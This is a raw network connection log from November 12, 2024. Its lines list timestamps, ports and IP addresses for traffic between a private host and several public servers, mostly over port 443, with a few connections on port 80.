Nov 12, 2024 02:13:13.895292997 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.903808117 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.904056072 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.904064894 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.905030966 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.905098915 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.905452013 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.905519962 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.905580997 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.947331905 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.949208975 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.949212074 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.949214935 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.996090889 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.018418074 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.041300058 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.041404009 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.041476965 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.071568012 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.071583033 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.073442936 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.073487043 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.073560953 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.181006908 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181052923 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181086063 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181118965 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.181154013 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181227922 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181272984 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.181283951 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.181325912 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.181516886 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.185064077 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.189754963 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.190861940 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.190871000 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.230840921 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.230848074 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.231504917 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.231544018 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.231609106 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.246460915 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.246469975 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.289848089 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.298327923 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.298374891 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.298444033 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.298460007 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.300671101 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.300720930 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.300730944 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.304891109 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.304969072 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.304977894 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.313682079 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.313730955 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.313740015 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.322458982 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.322516918 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.322526932 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.337363005 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.337408066 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.337425947 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.339972019 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.340035915 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.340046883 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.348506927 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.348762035 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.348777056 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.356794119 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.356846094 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.356857061 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.404968977 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.404984951 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415390968 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415419102 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415442944 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.415455103 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415592909 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.415607929 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415740967 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.415786028 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.415796041 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.417428970 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.417488098 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.417530060 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.417541027 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.417608023 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.420399904 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.423743963 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.423775911 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.423803091 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.423814058 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.423851967 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.430599928 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.436590910 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.436619997 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.436644077 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.436655045 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.436760902 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.442543983 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.448661089 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.448688030 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.448719025 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.448733091 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.448813915 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.454663992 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.460777044 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.460817099 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.460834026 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.460851908 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.460905075 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.466824055 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.472798109 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.472846985 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.472913980 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.472930908 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.474859953 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.478769064 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.484807968 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.484882116 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.484958887 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.484971046 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.486859083 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.490852118 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.496927023 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.498873949 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.498883963 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.532418013 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.532447100 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.532478094 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.532519102 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.532531023 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.532547951 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.534333944 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.534362078 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.534389973 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.534394026 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.534403086 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.534455061 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.534465075 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.534503937 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.537353992 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.540607929 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.540633917 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.540680885 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.540695906 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.542856932 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.542865038 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.547503948 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.550859928 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.550868988 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.556464911 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.558857918 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.558867931 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.559537888 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.559588909 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.559597015 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.565474987 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.565536022 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.565582037 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.565592051 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.566906929 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.571492910 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.577817917 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.577898979 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.577954054 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.577965021 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.578865051 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.583564043 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.589673996 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.589701891 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.589755058 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.589765072 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.590861082 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.595653057 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.595731974 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.595845938 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.595856905 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.598957062 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:14.598999023 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:14.599051952 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:16.444354057 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:16.444361925 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:16.444423914 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:16.444591999 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:16.444605112 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.264019012 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:17.264048100 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:17.264125109 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:17.264401913 CET	49749	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:17.264417887 CET	443	49749	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:17.295572042 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.295806885 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.295820951 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.296818972 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.296875954 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.297996044 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.298058033 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.298202991 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.298211098 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.340492010 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.452745914 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:17.452776909 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:17.452971935 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:17.453273058 CET	49750	443	192.168.2.4	142.250.184.206
Nov 12, 2024 02:13:17.453289986 CET	443	49750	142.250.184.206	192.168.2.4
Nov 12, 2024 02:13:17.532290936 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:17.532350063 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:17.532423973 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:17.534023046 CET	49751	443	192.168.2.4	184.28.90.27
Nov 12, 2024 02:13:17.534061909 CET	443	49751	184.28.90.27	192.168.2.4
Nov 12, 2024 02:13:17.541589022 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.541651964 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.541687012 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.541702032 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.541718006 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.541795969 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.541802883 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.541949034 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.542007923 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.542016029 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.549959898 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.550020933 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.550028086 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.590502024 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.590508938 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.652317047 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.658716917 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.658780098 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.658826113 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.658834934 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.660725117 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.660773039 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.660780907 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.665049076 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.665098906 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.665106058 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.673901081 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.673973083 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.673980951 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.682532072 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.682681084 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.682688951 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.691180944 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.691272974 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.691279888 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.700084925 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.700134993 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.700141907 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.708611012 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.708662033 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.708668947 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.717001915 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.717055082 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.717066050 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.757004023 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:17.757220984 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:17.761962891 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:17.762022972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:17.762080908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:17.762314081 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:17.767088890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:17.775772095 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.775804996 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.775837898 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.775839090 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.775855064 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.775883913 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.776153088 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.776196957 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.776210070 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.776222944 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.776299000 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.777842045 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.777894020 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.778182030 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.778189898 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.782134056 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.782847881 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.782859087 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.783641100 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.786561966 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.786571980 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.790796041 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.790846109 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.790853977 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.796344042 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.796390057 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.796397924 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.802376032 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.802423954 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.802431107 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.808433056 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.808480978 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.808487892 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.814368963 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.814424992 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.814430952 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.820538998 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.820599079 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.820609093 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.826349974 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.826402903 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.826410055 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.832640886 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.832695961 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.832703114 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.838429928 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.838480949 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.838489056 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.844506979 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.844572067 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.844579935 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.850542068 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.850644112 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.850651026 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893045902 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893083096 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893105984 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.893115997 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893151999 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893188000 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893199921 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.893208027 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.893233061 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.894922018 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.894975901 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.894984007 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.895076990 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.895107031 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.895148039 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.895155907 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.895200014 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.897589922 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.900759935 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.900826931 CET	49748	443	192.168.2.4	172.217.16.142
Nov 12, 2024 02:13:17.900835037 CET	443	49748	172.217.16.142	192.168.2.4
Nov 12, 2024 02:13:17.907779932 CET	443	49748	172.217.16.142	192.168.2.4
